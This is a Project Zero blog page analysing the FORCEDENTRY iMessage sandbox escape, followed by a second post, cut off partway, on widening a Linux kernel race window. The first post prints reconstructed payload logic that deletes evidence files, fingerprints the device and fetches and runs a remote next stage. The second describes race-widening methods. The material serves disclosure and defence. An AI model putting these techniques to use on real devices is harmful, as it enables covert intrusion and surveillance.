Pages

Thursday, March 31, 2022

FORCEDENTRY: Sandbox Escape

Posted by Ian Beer & Samuel Groß of Google Project Zero

We want to thank Citizen Lab for sharing a sample of the FORCEDENTRY exploit with us, and Apple’s Security Engineering and Architecture (SEAR) group for collaborating with us on the technical analysis. Any editorial opinions reflected below are solely Project Zero’s and do not necessarily reflect those of the organizations we collaborated with during this research.

Late last year we published a writeup of the initial remote code execution stage of FORCEDENTRY, the zero-click iMessage exploit attributed by Citizen Lab to NSO. By sending a .gif iMessage attachment (which was really a PDF) NSO were able to remotely trigger a heap buffer overflow in the ImageIO JBIG2 decoder. They used that vulnerability to bootstrap a powerful weird machine capable of loading the next stage in the infection process: the sandbox escape.

In this post we'll take a look at that sandbox escape. It's notable for using only logic bugs. In fact it's unclear where the features that it uses end and the vulnerabilities which it abuses begin. Both current and upcoming state-of-the-art mitigations such as Pointer Authentication and Memory Tagging have no impact at all on this sandbox escape.

An observation

During our initial analysis of the .gif file Samuel noticed that rendering the image appeared to leak memory. Running the heap tool after releasing all the associated resources gave the following output:

$ heap $pid

------------------------------------------------------------

All zones: 4631 nodes (826336 bytes)        

             

   COUNT    BYTES     AVG   CLASS_NAME   TYPE   BINARY          

   =====    =====     ===   ==========   ====   ======        

    1969   469120   238.3   non-object

     825    26400    32.0   JBIG2Bitmap  C++   CoreGraphics

heap was able to determine that the leaked memory contained JBIG2Bitmap objects.

Using the -address option we could find all the individual leaked bitmap objects:

$ heap -address JBIG2Bitmap $pid

and dump them out to files. One of those objects was quite unlike the others:

$ hexdump -C dumpXX.bin | head

00000000  62 70 6c 69 73 74 30 30  |bplist00|

...

00000018        24 76 65 72 73 69  |  $versi|

00000020  6f 6e 59 24 61 72 63 68  |onY$arch|

00000028  69 76 65 72 58 24 6f 62  |iverX$ob|

00000030  6a 65 63 74 73 54 24 74  |jectsT$t|

00000038  6f 70                    |op      |

00000040        4e 53 4b 65 79 65  |  NSKeye|

00000048  64 41 72 63 68 69 76 65  |dArchive|

It's clearly a serialized NSKeyedArchiver. Definitely not what you'd expect to see in a JBIG2Bitmap object. Running strings we see plenty of interesting things (noting that the URL below is redacted):

Objective-C class and selector names:

NSFunctionExpression

NSConstantValueExpression

NSConstantValue

expressionValueWithObject:context:

filteredArrayUsingPredicate:

_web_removeFileOnlyAtPath:

context:evaluateMobileSubscriberIdentity:

performSelectorOnMainThread:withObject:waitUntilDone:

...

The name of the file which delivered the exploit:

XXX.gif

Filesystems paths:

/tmp/com.apple.messages

/System/Library/PrivateFrameworks/SlideshowKit.framework/Frameworks/OpusFoundation.framework

a URL:

https://XXX.cloudfront.net/YYY/ZZZ/megalodon?AAA

Using plutil we can convert the bplist00 binary format to XML. Performing some post-processing and cleanup we can see that the top-level object in the NSKeyedArchiver is a serialized NSFunctionExpression object.

NSExpression NSPredicate NSExpression

If you've ever used Core Data or tried to filter a Objective-C collection you might have come across NSPredicates. According to Apple's public documentation they are used "to define logical conditions for constraining a search for a fetch or for in-memory filtering".

For example, in Objective-C you could filter an NSArray object like this:

  NSArray* names = @[@"one", @"two", @"three"];

  NSPredicate* pred;

  pred = [NSPredicate predicateWithFormat:

            @"SELF beginswith[c] 't'"];

  NSLog(@"%@", [names filteredArrayUsingPredicate:pred]);

The predicate is "SELF beginswith[c] 't'". This prints an NSArray containing only "two" and "three".

[NSPredicate predicateWithFormat] builds a predicate object by parsing a small query language, a little like an SQL query.

NSPredicates can be built up from NSExpressions, connected by NSComparisonPredicates (like less-than, greater-than and so on.)

NSExpressions themselves can be fairly complex, containing aggregate expressions (like "IN" and "CONTAINS"), subqueries, set expressions, and, most interestingly, function expressions.

Prior to 2007 (in OS X 10.4 and below) function expressions were limited to just the following five extra built-in methods: sum, count, min, max, and average.

But starting in OS X 10.5 (which would also be around the launch of iOS in 2007) NSFunctionExpressions were extended to allow arbitrary method invocations with the FUNCTION keyword:

  "FUNCTION('abc', 'stringByAppendingString', 'def')" => @"abcdef"

FUNCTION takes a target object, a selector and an optional list of arguments then invokes the selector on the object, passing the arguments. In this case it will allocate an NSString object @"abc" then invoke the stringByAppendingString: selector passing the NSString @"def", which will evaluate to the NSString @"abcdef".

In addition to the FUNCTION keyword there's CAST which allows full reflection-based access to all Objective-C types (as opposed to just being able to invoke selectors on literal strings and integers):

  "FUNCTION(CAST('NSFileManager', 'Class'), 'defaultManager')"

Here we can get access to the NSFileManager class and call the defaultManager selector to get a reference to a process's shared file manager instance.

These keywords exist in the string representation of NSPredicates and NSExpressions. Parsing those strings involves creating a graph of NSExpression objects, NSPredicate objects and their subclasses like NSFunctionExpression. It's a serialized version of such a graph which is present in the JBIG2 bitmap.

NSPredicates using the FUNCTION keyword are effectively Objective-C scripts. With some tricks it's possible to build nested function calls which can do almost anything you could do in procedural Objective-C. Figuring out some of those tricks was the key to the 2019 Real World CTF DezhouInstrumenz challenge, which would evaluate an attacker supplied NSExpression format string. The writeup by the challenge author is a great introduction to these ideas and I'd strongly recommend reading that now if you haven't. The rest of this post builds on the tricks described in that post.

A tale of two parts

The only job of the JBIG2 logic gate machine described in the previous blog post is to cause the deserialization and evaluation of an embedded NSFunctionExpression. No attempt is made to get native code execution, ROP, JOP or any similar technique.

Prior to iOS 14.5 the isa field of an Objective-C object was not protected by Pointer Authentication Codes (PAC), so the JBIG2 machine builds a fake Objective-C object with a fake isa such that the invocation of the dealloc selector causes the deserialization and evaluation of the NSFunctionExpression. This is very similar to the technique used by Samuel in the 2020 SLOP post.

This NSFunctionExpression has two purposes:

Firstly, it allocates and leaks an ASMKeepAlive object then tries to cover its tracks by finding and deleting the .gif file which delivered the exploit.

Secondly, it builds a payload NSPredicate object then triggers a logic bug to get that NSPredicate object evaluated in the CommCenter process, reachable from the IMTranscoderAgent sandbox via the com.apple.commcenter.xpc NSXPC service.

Let's look at those two parts separately:

Covering tracks

The outer level NSFunctionExpression calls performSelectorOnMainThread:withObject:waitUntilDone which in turn calls makeObjectsPerformSelector:@"expressionValueWithObject:context:" on an NSArray of four NSFunctionExpressions. This allows the four independent NSFunctionExpressions to be evaluated sequentially.

With some manual cleanup we can recover pseudo-Objective-C versions of the serialized NSFunctionExpressions.

The first one does this:

[[AMSKeepAlive alloc] initWithName:"KA"]

This allocates and then leaks an AppleMediaServices KeepAlive object. The exact purpose of this is unclear.

The second entry does this:

[[NSFileManager defaultManager] _web_removeFileOnlyAtPath:

  [@"/tmp/com.apple.messages" stringByAppendingPathComponent:

    [ [ [ [

            [NSFileManager defaultManager]

            enumeratorAtPath: @"/tmp/com.apple.messages"

          ]

          allObjects

        ]

        filteredArrayUsingPredicate:

          [

            [NSPredicate predicateWithFormat:

              [

                [@"SELF ENDSWITH '"

                  stringByAppendingString: "XXX.gif"]

                stringByAppendingString: "'"

      ]   ] ] ]

      firstObject

    ]

  ]

]

Reading these single expression NSFunctionExpressions is a little tricky; breaking that down into a more procedural form it's equivalent to this:

NSFileManager* fm = [NSFileManager defaultManager];

NSDirectoryEnumerator* dir_enum;

dir_enum = [fm enumeratorAtPath: @"/tmp/com.apple.messages"]

NSArray* allTmpFiles = [dir_enum allObjects];

NSString* filter;

filter = ["@"SELF ENDSWITH '" stringByAppendingString: "XXX.gif"];

filter = [filter stringByAppendingString: "'"];

NSPredicate* pred;

pred = [NSPredicate predicateWithFormat: filter]

NSArray* matches;

matches = [allTmpFiles filteredArrayUsingPredicate: pred];

NSString* gif_subpath = [matches firstObject];

NSString* root = @"/tmp/com.apple.messages";

NSString* full_path;

full_path = [root stringByAppendingPathComponent: gifSubpath];

[fm _web_removeFileOnlyAtPath: full_path];

This finds the XXX.gif file used to deliver the exploit which iMessage has stored somewhere under the /tmp/com.apple.messages folder and deletes it.

The other two NSFunctionExpressions build a payload and then trigger its evaluation in CommCenter. For that we need to look at NSXPC.

NSXPC

NSXPC is a semi-transparent remote-procedure-call mechanism for Objective-C. It allows the instantiation of proxy objects in one process which transparently forward method calls to the "real" object in another process:

https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html

I say NSXPC is only semi-transparent because it does enforce some restrictions on what objects are allowed to traverse process boundaries. Any object "exported" via NSXPC must also define a protocol which designates which methods can be invoked and the allowable types for each argument. The NSXPC programming guide further explains the extra handling required for methods which require collections and other edge cases.

The low-level serialization used by NSXPC is the same explored by Natalie Silvanovich in her 2019 blog post looking at the fully-remote attack surface of the iPhone. An important observation in that post was that subclasses of classes with any level of inheritance are also allowed, as is always the case with NSKeyedUnarchiver deserialization.

This means that any protocol object which declares a particular type for a field will also, by design, accept any subclass of that type.

The logical extreme of this would be that a protocol which declared an argument type of NSObject would allow any subclass, which is the vast majority of all Objective-C classes.

Grep to the rescue

This is fairly easy to analyze automatically. Protocols are defined statically so we can just find them and check each one. Tools like RuntimeBrowser and classdump can parse the static protocol definitions and output human-readable source code. Grepping the output of RuntimeBrowser like this is sufficient to find dozens of cases of NSObject pointers in Objective-C protocols:

  $ egrep -Rn "\(NSObject \*\)arg" *

Not all the results are necessarily exposed via NSXPC, but some clearly are, including the following two matches in CoreTelephony.framework:

Frameworks/CoreTelephony.framework/\

CTXPCServiceSubscriberInterface-Protocol.h:39:

-(void)evaluateMobileSubscriberIdentity:

        (CTXPCServiceSubscriptionContext *)arg1

       identity:(NSObject *)arg2

       completion:(void (^)(NSError *))arg3;

Frameworks/CoreTelephony.framework/\

CTXPCServiceCarrierBundleInterface-Protocol.h:13:

-(void)setWiFiCallingSettingPreferences:

         (CTXPCServiceSubscriptionContext *)arg1

       key:(NSString *)arg2

       value:(NSObject *)arg3

       completion:(void (^)(NSError *))arg4;

evaluateMobileSubscriberIdentity string appears in the list of selector-like strings we first saw when running strings on the bplist00. Indeed, looking at the parsed and beautified NSFunctionExpression we see it doing this:

[ [ [CoreTelephonyClient alloc] init]

  context:X

  evaluateMobileSubscriberIdentity:Y]

This is a wrapper around the lower-level NSXPC code and the argument passed as Y above to the CoreTelephonyClient method corresponds to the identity:(NSObject *)arg2 argument passed via NSXPC to CommCenter (which is the process that hosts com.apple.commcenter.xpc, the NSXPC service underlying the CoreTelephonyClient). Since the parameter is explicitly named as NSObject* we can in fact pass any subclass of NSObject*, including an NSPredicate! Game over?

Parsing vs Evaluation

It's not quite that easy. The DezhouInstrumentz writeup discusses this attack surface and notes that there's an extra, specific mitigation. When an NSPredicate is deserialized by its initWithCoder: implementation it sets a flag which disables evaluation of the predicate until the allowEvaluation method is called.

So whilst you certainly can pass an NSPredicate* as the identity argument across NSXPC and get it deserialized in CommCenter, the implementation of evaluateMobileSubscriberIdentity: in CommCenter is definitely not going to call allowEvaluation:  to make the predicate safe for evaluation then evaluateWithObject: and then evaluate it.

Old techniques, new tricks

From the exploit we can see that they in fact pass an NSArray with two elements:

[0] = AVSpeechSynthesisVoice

[1] = PTSection {rows = NSArray { [0] = PTRow() }

The first element is an AVSpeechSynthesisVoice object and the second is a PTSection containing a single PTRow. Why?

PTSection and PTRow are both defined in the PrototypeTools private framework. PrototypeTools isn't loaded in the CommCenter target process. Let's look at what happens when an AVSpeechSynthesisVoice is deserialized:

Finding a voice

AVSpeechSynthesisVoice is implemented in AVFAudio.framework, which is loaded in CommCenter:

$ sudo vmmap `pgrep CommCenter` | grep AVFAudio

__TEXT  7ffa22c4c000-7ffa22d44000 r-x/r-x SM=COW \

/System/Library/Frameworks/AVFAudio.framework/Versions/A/AVFAudio

Assuming that this was the first time that an AVSpeechSynthesisVoice object was created inside CommCenter (which is quite likely) the Objective-C runtime will call the initialize method on the AVSpeechSynthesisVoice class before instantiating the first instance.

[AVSpeechSynthesisVoice initialize] has a dispatch_once block with the following code:

NSBundle* bundle;

bundle = [NSBundle bundleWithPath:

                     @"/System/Library/AccessibilityBundles/\

                         AXSpeechImplementation.bundle"];

if (![bundle isLoaded]) {

    NSError err;

    [bundle loadAndReturnError:&err]

}

So sending a serialized AVSpeechSynthesisVoice object will cause CommCenter to load the /System/Library/AccessibilityBundles/AXSpeechImplementation.bundle library. With some scripting using otool -L to list dependencies we can  find the following dependency chain from AXSpeechImplementation.bundle to PrototypeTools.framework:

['/System/Library/AccessibilityBundles/\

    AXSpeechImplementation.bundle/AXSpeechImplementation',

 '/System/Library/AccessibilityBundles/\

    AXSpeechImplementation.bundle/AXSpeechImplementation',

 '/System/Library/PrivateFrameworks/\

    AccessibilityUtilities.framework/AccessibilityUtilities',

 '/System/Library/PrivateFrameworks/\

    AccessibilitySharedSupport.framework/AccessibilitySharedSupport',

'/System/Library/PrivateFrameworks/Sharing.framework/Sharing',

'/System/Library/PrivateFrameworks/\

    PrototypeTools.framework/PrototypeTools']

This explains how the deserialization of a PTSection will succeed. But what's so special about PTSections and PTRows?

Predicated Sections

[PTRow initwithcoder:] contains the following snippet:

  self->condition = [coder decodeObjectOfClass:NSPredicate

                           forKey:@"condition"]

  [self->condition allowEvaluation]

This will deserialize an NSPredicate object, assign it to the PTRow member variable condition and call allowEvaluation. This is meant to indicate that the deserializing code considers this predicate safe, but there's no attempt to perform any validation on the predicate contents here. They then need one more trick to find a path to which will additionally evaluate the PTRow's condition predicate.

Here's a snippet from [PTSection initWithCoder:]:

NSSet* allowed = [NSSet setWithObjects: @[PTRow]]

id* rows = [coder decodeObjectOfClasses:allowed forKey:@"rows"]

[self initWithRows:rows]

This deserializes an array of PTRows and passes them to [PTSection initWithRows] which assigns a copy of the array of PTRows to PTSection->rows then calls [self _reloadEnabledRows] which in turn passes each row to [self _shouldEnableRow:]

_shouldEnableRow:row {

  if (row->condition) {

    return [row->condition evaluateWithObject: self->settings]

  }

}

And thus, by sending a PTSection containing a single PTRow with an attached condition NSPredicate they can cause the evaluation of an arbitrary NSPredicate, effectively equivalent to arbitrary code execution in the context of CommCenter.

Payload 2

The NSPredicate attached to the PTRow uses a similar trick to the first payload to cause the evaluation of six independent NSFunctionExpressions, but this time in the context of the CommCenter process. They're presented here in pseudo Objective-C:

Expression 1

[  [CaliCalendarAnonymizer sharedAnonymizedStrings]

   setObject:

     @[[NSURLComponents

         componentsWithString:

         @"https://cloudfront.net/XXX/XXX/XXX?aaaa"], '0']

   forKey: @"0"

]

The use of [CaliCalendarAnonymizer sharedAnonymizedStrings] is a trick to enable the array of independent NSFunctionExpressions to have "local variables". In this first case they create an NSURLComponents object which is used to build parameterised URLs. This URL builder is then stored in the global dictionary returned by [CaliCalendarAnonymizer sharedAnonymizedStrings] under the key "0".

Expression 2

[[NSBundle

  bundleWithPath:@"/System/Library/PrivateFrameworks/\

     SlideshowKit.framework/Frameworks/OpusFoundation.framework"

 ] load]

This causes the OpusFoundation library to be loaded. The exact reason for this is unclear, though the dependency graph of OpusFoundation does include AuthKit which is used by the next NSFunctionExpression. It's possible that this payload is generic and might also be expected to work when evaluated in processes where AuthKit isn't loaded.

Expression 3

[ [ [CaliCalendarAnonymizer sharedAnonymizedStrings]

    objectForKey:@"0" ]

  setQueryItems:

    [ [ [NSArray arrayWithObject:

                 [NSURLQueryItem

                    queryItemWithName: @"m"

                    value:[AKDevice _hardwareModel] ]

                                 ] arrayByAddingObject:

                 [NSURLQueryItem

                    queryItemWithName: @"v"

                    value:[AKDevice _buildNumber] ]

                                 ] arrayByAddingObject:

                 [NSURLQueryItem

                    queryItemWithName: @"u"

                    value:[NSString randomString]]

]

This grabs a reference to the NSURLComponents object stored under the "0" key in the global sharedAnonymizedStrings dictionary then parameterizes the HTTP query string with three values:

  [AKDevice _hardwareModel] returns a string like "iPhone12,3" which determines the exact device model.

  [AKDevice _buildNumber] returns a string like "18A8395" which in combination with the device model allows determining the exact firmware image running on the device.

  [NSString randomString] returns a decimal string representation of a 32-bit random integer like "394681493".

Expression 4

[ [CaliCalendarAnonymizer sharedAnonymizedString]

  setObject:

    [NSPropertyListSerialization

      propertyListWithData:

        [[[NSData

             dataWithContentsOfURL:

               [[[CaliCalendarAnonymizer sharedAnonymizedStrings]

                 objectForKey:@"0"] URL]

          ] AES128DecryptWithPassword:NSData(XXXX)

         ]  decompressedDataUsingAlgorithm:3 error:]

       options: Class(NSConstantValueExpression)

      format: Class(NSConstantValueExpression)

      errors:Class(NSConstantValueExpression)

  ]

  forKey:@"1"

]

The innermost reference to sharedAnonymizedStrings here grabs the NSURLComponents object and builds the full url from the query string parameters set last earlier. That url is passed to [NSData dataWithContentsOfURL:] to fetch a data blob from a remote server.

That data blob is decrypted with a hardcoded AES128 key, decompressed using zlib then parsed as a plist. That parsed plist is stored in the sharedAnonymizedStrings dictionary under the key "1".

Expression 5

[ [[NSThread mainThread] threadDictionary]

  addEntriesFromDictionary:

    [[CaliCalendarAnonymizer sharedAnonymizedStrings]

    objectForKey:@"1"]

]

This copies all the keys and values from the "next-stage" plist into the main thread's theadDictionary.

Expression 6

[ [NSExpression expressionWithFormat:

    [[[CaliCalendarAnonymizer sharedAnonymizedStrings]

      objectForKey:@"1"]

    objectForKey: @"a"]

  ]

  expressionValueWithObject:nil context:nil

]

Finally, this fetches the value of the "a" key from the next-stage plist, parses it as an NSExpression string and evaluates it.

End of the line

At this point we lose the ability to follow the exploit. The attackers have escaped the IMTranscoderAgent sandbox, requested a next-stage from the command and control server and executed it, all without any memory corruption or dependencies on particular versions of the operating system.

In response to this exploit iOS 15.1 significantly reduced the computational power available to NSExpressions:

NSExpression immediately forbids certain operations that have significant side effects, like creating and destroying objects. Additionally, casting string class names into Class objects with NSConstantValueExpression is deprecated.

In addition the PTSection and PTRow objects have been hardened with the following check added around the parsing of serialized NSPredicates:

if (os_variant_allows_internal_security_policies(

      "com.apple.PrototypeTools") {

  [coder decodeObjectOfClass:NSPredicate forKey:@"condition]

...

Object deserialization across trust boundaries still presents an enormous attack surface however.

Conclusion

Perhaps the most striking takeaway is the depth of the attack surface reachable from what would hopefully be a fairly constrained sandbox. With just two tricks (NSObject pointers in protocols and library loading gadgets) it's likely possible to attack almost every initWithCoder implementation in the dyld_shared_cache. There are presumably many other classes in addition to NSPredicate and NSExpression which provide the building blocks for logic-style exploits.

The expressive power of NSXPC just seems fundamentally ill-suited for use across sandbox boundaries, even though it was designed with exactly that in mind. The attack surface reachable from inside a sandbox should be minimal, enumerable and reviewable. Ideally only code which is required for correct functionality should be reachable; it should be possible to determine exactly what that exposed code is and the amount of exposed code should be small enough that manually reviewing it is tractable.

NSXPC requiring developers to explicitly add remotely-exposed methods to interface protocols is a great example of how to make the attack surface enumerable - you can at least find all the entry points fairly easily. However the support for inheritance means that the attack surface exposed there likely isn't reviewable; it's simply too large for anything beyond a basic example.

Refactoring these critical IPC boundaries to be more prescriptive - only allowing a much narrower set of objects in this case - would be a good step towards making the attack surface reviewable. This would probably require fairly significant refactoring for NSXPC; it's built around natively supporting the Objective-C inheritance model and is used very broadly. But without such changes the exposed attack surface is just too large to audit effectively.

The advent of Memory Tagging Extensions (MTE), likely shipping in multiple consumer devices across the ARM ecosystem this year, is a big step in the defense against memory corruption exploitation. But attackers innovate too, and are likely already two steps ahead with a renewed focus on logic bugs. This sandbox escape exploit is likely a sign of the shift we can expect to see over the next few years if the promises of MTE can be delivered. And this exploit was far more extensible, reliable and generic than almost any memory corruption exploit could ever hope to be.

Thursday, March 24, 2022

Racing against the clock -- hitting a tiny kernel race window

TL;DR:

How to make a tiny kernel race window really large even on kernels without CONFIG_PREEMPT:

  • use a cache miss to widen the race window a little bit
  • make a timerfd expire in that window (which will run in an interrupt handler - in other words, in hardirq context)
  • make sure that the wakeup triggered by the timerfd has to churn through 50000 waitqueue items created by epoll

Racing one thread against a timer also avoids accumulating timing variations from two threads in each race attempt - hence the title. On the other hand, it also means you now have to deal with how hardware timers actually work, which introduces its own flavors of weird timing variations.

Introduction

I recently discovered a race condition (https://crbug.com/project-zero/2247) in the Linux kernel. (While trying to explain to someone how the fix for CVE-2021-0920 worked - I was explaining why the Unix GC is now safe, and then got confused because I couldn't actually figure out why it's safe after that fix, eventually realizing that it actually isn't safe.) It's a fairly narrow race window, so I was wondering whether it could be hit with a small number of attempts - especially on kernels that aren't built with CONFIG_PREEMPT, which would make it possible to preempt a thread with another thread, as I described at LSSEU2019.

This is a writeup of how I managed to hit the race on a normal Linux desktop kernel, with a hit rate somewhere around 30% if the proof of concept has been tuned for the specific machine. I didn't do a full exploit though, I stopped at getting evidence of use-after-free (UAF) accesses (with the help of a very large file descriptor table and userfaultfd, which might not be available to normal users depending on system configuration) because that's the part I was curious about.

This also demonstrates that even very small race conditions can still be exploitable if someone sinks enough time into writing an exploit, so be careful if you dismiss very small race windows as unexploitable or don't treat such issues as security bugs.

The UAF reproducer is in our bugtracker.

The bug

In the UNIX domain socket garbage collection code (which is needed to deal with reference loops formed by UNIX domain sockets that use SCM_RIGHTS file descriptor passing), the kernel tries to figure out whether it can account for all references to some file by comparing the file's refcount with the number of references from inflight SKBs (socket buffers). If they are equal, it assumes that the UNIX domain sockets subsystem effectively has exclusive access to the file because it owns all references.

(The same pattern also appears for files as an optimization in __fdget_pos(), see this LKML thread.)

The problem is that struct file can also be referenced from an RCU read-side critical section (which you can't detect by looking at the refcount), and such an RCU reference can be upgraded into a refcounted reference using get_file_rcu() / get_file_rcu_many() by __fget_files() as long as the refcount is non-zero. For example, when this happens in the dup() syscall, the resulting reference will then be installed in the FD table and be available for subsequent syscalls.

When the garbage collector (GC) believes that it has exclusive access to a file, it will perform operations on that file that violate the locking rules used in normal socket-related syscalls such as recvmsg() - unix_stream_read_generic() assumes that queued SKBs can only be removed under the ->iolock mutex, but the GC removes queued SKBs without using that mutex. (Thanks to Xingyu Jin for explaining that to me.)

One way of looking at this bug is that the GC is working correctly - here's a state diagram showing some of the possible states of a struct file, with more specific states nested under less specific ones and with the state transition in the GC marked:

All relevant states are RCU-accessible. An RCU-accessible object can have either a zero refcount or a positive refcount. Objects with a positive refcount can be either live or owned by the garbage collector. When the GC attempts to grab a file, it transitions from the state "live" to the state "owned by GC" by getting exclusive ownership of all references to the file.

While __fget_files() is making an incorrect assumption about the state of the struct file while it is trying to narrow down its possible states - it checks whether get_file_rcu() / get_file_rcu_many() succeeds, which narrows the file's state down a bit but not far enough:

__fget_files() first uses get_file_rcu() to conditionally narrow the state of a file from "any RCU-accessible state" to "any refcounted state". Then it has to narrow the state from "any refcounted state" to "live", but instead it just assumes that they are equivalent.

And this directly leads to how the bug was fixed (there's another follow-up patch, but that one just tries to clarify the code and recoup some of the resulting performance loss) - the fix adds another check in __fget_files() to properly narrow down the state of the file such that the file is guaranteed to be live:

The fix is to properly narrow the state from "any refcounted state" to "live" by checking whether the file is still referenced by a file descriptor table entry.

The fix ensures that a live reference can only be derived from another live reference by comparing with an FD table entry, which is guaranteed to point to a live object.

[Sidenote: This scheme is similar to the one used for struct page - gup_pte_range() also uses the "grab pointer, increment refcount, recheck pointer" pattern for locklessly looking up a struct page from a page table entry while ensuring that new refcounted references can't be created without holding an existing reference. This is really important for struct page because a page can be given back to the page allocator and reused while gup_pte_range() holds an uncounted reference to it - freed pages still have their struct page, so there's no need to delay freeing of the page - so if this went wrong, you'd get a page UAF.]

My initial suggestion was to instead fix the issue by changing how unix_gc() ensures that it has exclusive access, letting it set the file's refcount to zero to prevent turning RCU references into refcounted ones; this would have avoided adding any code in the hot __fget_files() path, but it would have only fixed unix_gc(), not the __fdget_pos() case I discovered later, so it's probably a good thing this isn't how it was fixed:

[Sidenote: In my original bug report I wrote that you'd have to wait an RCU grace period in the GC for this, but that wouldn't be necessary as long as the GC ensures that a reaped socket's refcount never becomes non-zero again.]

The race

There are multiple race conditions involved in exploiting this bug, but by far the trickiest to hit is that we have to race an operation into the tiny race window in the middle of __fget_files() (which can e.g. be reached via dup()), between the file descriptor table lookup and the refcount increment:

static struct file *__fget_files(struct files_struct *files, unsigned int fd,

                                 fmode_t mask, unsigned int refs)

{

        struct file *file;

        rcu_read_lock();

loop:

        file = files_lookup_fd_rcu(files, fd); // race window start

        if (file) {

                /* File object ref couldn't be taken.

                 * dup2() atomicity guarantee is the reason

                 * we loop to catch the new file (or NULL pointer)

                 */

                if (file->f_mode & mask)

                        file = NULL;

                else if (!get_file_rcu_many(file, refs)) // race window end

                        goto loop;

        }

        rcu_read_unlock();

        return file;

}

In this race window, the file descriptor must be closed (to drop the FD's reference to the file) and a unix_gc() run must get past the point where it checks the file's refcount ("total_refs = file_count(u->sk.sk_socket->file)").

In the Debian 5.10.0-9-amd64 kernel at version 5.10.70-1, that race window looks as follows:

<__fget_files+0x1e> cmp    r10,rax

<__fget_files+0x21> sbb    rax,rax

<__fget_files+0x24> mov    rdx,QWORD PTR [r11+0x8]

<__fget_files+0x28> and    eax,r8d

<__fget_files+0x2b> lea    rax,[rdx+rax*8]

<__fget_files+0x2f> mov    r12,QWORD PTR [rax] ; RACE WINDOW START

; r12 now contains file*

<__fget_files+0x32> test   r12,r12

<__fget_files+0x35> je     ffffffff812e3df7 <__fget_files+0x77>

<__fget_files+0x37> mov    eax,r9d

<__fget_files+0x3a> and    eax,DWORD PTR [r12+0x44] ; LOAD (for ->f_mode)

<__fget_files+0x3f> jne    ffffffff812e3df7 <__fget_files+0x77>

<__fget_files+0x41> mov    rax,QWORD PTR [r12+0x38] ; LOAD (for ->f_count)

<__fget_files+0x46> lea    rdx,[r12+0x38]

<__fget_files+0x4b> test   rax,rax

<__fget_files+0x4e> je     ffffffff812e3def <__fget_files+0x6f>

<__fget_files+0x50> lea    rcx,[rsi+rax*1]

<__fget_files+0x54> lock cmpxchg QWORD PTR [rdx],rcx ; RACE WINDOW END (on cmpxchg success)

As you can see, the race window is fairly small - around 12 instructions, assuming that the cmpxchg succeeds.

Missing some cache

Luckily for us, the race window contains the first few memory accesses to the struct file; therefore, by making sure that the struct file is not present in the fastest CPU caches, we can widen the race window by as much time as the memory accesses take. The standard way to do this is to use an eviction pattern / eviction set; but instead we can also make the cache line dirty on another core (see Anders Fogh's blogpost for more detail). (I'm not actually sure about the intricacies of how much latency this adds on different manufacturers' CPU cores, or on different CPU generations - I've only tested different versions of my proof-of-concept on Intel Skylake and Tiger Lake. Differences in cache coherency protocols or snooping might make a big difference.)

For the cache line containing the flags and refcount of a struct file, this can be done by, on another CPU, temporarily bumping its refcount up and then changing it back down, e.g. with close(dup(fd)) (or just by accessing the FD in pretty much any way from a multithreaded process).

However, when we're trying to hit the race in __fget_files() via dup(), we don't want any cache misses to occur before we hit the race window - that would slow us down and probably make us miss the race. To prevent that from happening, we can call dup() with a different FD number for a warm-up run shortly before attempting the race. Because we also want the relevant cache line in the FD table to be hot, we should choose the FD number for the warm-up run such that it uses the same cache line of the file descriptor table.

An interruption

Okay, a cache miss might be something like a few dozen or maybe hundred nanoseconds or so - that's better, but it's not great. What else can we do to make this tiny piece of code much slower to execute?

On Android, kernels normally set CONFIG_PREEMPT, which would've allowed abusing the scheduler to somehow interrupt the execution of this code. The way I've done this in the past was to give the victim thread a low scheduler priority and pin it to a specific CPU core together with another high-priority thread that is blocked on a read() syscall on an empty pipe (or eventfd); when data is written to the pipe from another CPU core, the pipe becomes readable, so the high-priority thread (which is registered on the pipe's waitqueue) becomes schedulable, and an inter-processor interrupt (IPI) is sent to the victim's CPU core to force it to enter the scheduler immediately.

One problem with that approach, aside from its reliance on CONFIG_PREEMPT, is that any timing variability in the kernel code involved in sending the IPI makes it harder to actually preempt the victim thread in the right spot.

(Thanks to the Xen security team - I think the first time I heard the idea of using an interrupt to widen a race window might have been from them.)

Setting an alarm

A better way to do this on an Android phone would be to trigger the scheduler not from an IPI, but from an expiring high-resolution timer on the same core, although I didn't get it to work (probably because my code was broken in unrelated ways).

High-resolution timers (hrtimers) are exposed through many userspace APIs. Even the timeout of select()/pselect() uses an hrtimer, although this is an hrtimer that normally has some slack applied to it to allow batching it with timers that are scheduled to expire a bit later. An example of a non-hrtimer-based API is the timeout used for reading from a UNIX domain socket (and probably also other types of sockets?), which can be set via SO_RCVTIMEO.

The thing that makes hrtimers "high-resolution" is that they don't just wait for the next periodic clock tick to arrive; instead, the expiration time of the next hrtimer on the CPU core is programmed into a hardware timer. So we could set an absolute hrtimer for some time in the future via something like timer_settime() or timerfd_settime(), and then at exactly the programmed time, the hardware will raise an interrupt! We've made the timing behavior of the OS irrelevant for the second side of the race, the only thing that matters is the hardware! Or... well, almost...

[Sidenote] Absolute timers: Not quite absolute

So we pick some absolute time at which we want to be interrupted, and tell the kernel using a syscall that accepts an absolute time, in nanoseconds. And then when that timer is the next one scheduled, the OS converts the absolute time to whatever clock base/scale the hardware timer is based on, and programs it into hardware. And the hardware usually supports programming timers with absolute time - e.g. on modern X86 (with X86_FEATURE_TSC_DEADLINE_TIMER), you can simply write an absolute Time Stamp Counter(TSC) deadline into MSR_IA32_TSC_DEADLINE, and when that deadline is reached, you get an interrupt. The situation on arm64 is similar, using the timer's comparator register (CVAL).

However, on both X86 and arm64, even though the clockevent subsystem is theoretically able to give absolute timestamps to clockevent drivers (via ->set_next_ktime()), the drivers instead only implement ->set_next_event(), which takes a relative time as argument. This means that the absolute timestamp has to be converted into a relative one, only to be converted back to absolute a short moment later. The delay between those two operations is essentially added to the timer's expiration time.

Luckily this didn't really seem to be a problem for me; if it was, I would have tried to repeatedly call timerfd_settime() shortly before the planned expiry time to ensure that the last time the hardware timer is programmed, the relevant code path is hot in the caches. (I did do some experimentation on arm64, where this seemed to maybe help a tiny bit, but I didn't really analyze it properly.)

A really big list of things to do

Okay, so all the stuff I said above would be helpful on an Android phone with CONFIG_PREEMPT, but what if we're trying to target a normal desktop/server kernel that doesn't have that turned on?

Well, we can still trigger hrtimer interrupts the same way - we just can't use them to immediately enter the scheduler and preempt the thread anymore. But instead of using the interrupt for preemption, we could just try to make the interrupt handler run for a really long time.

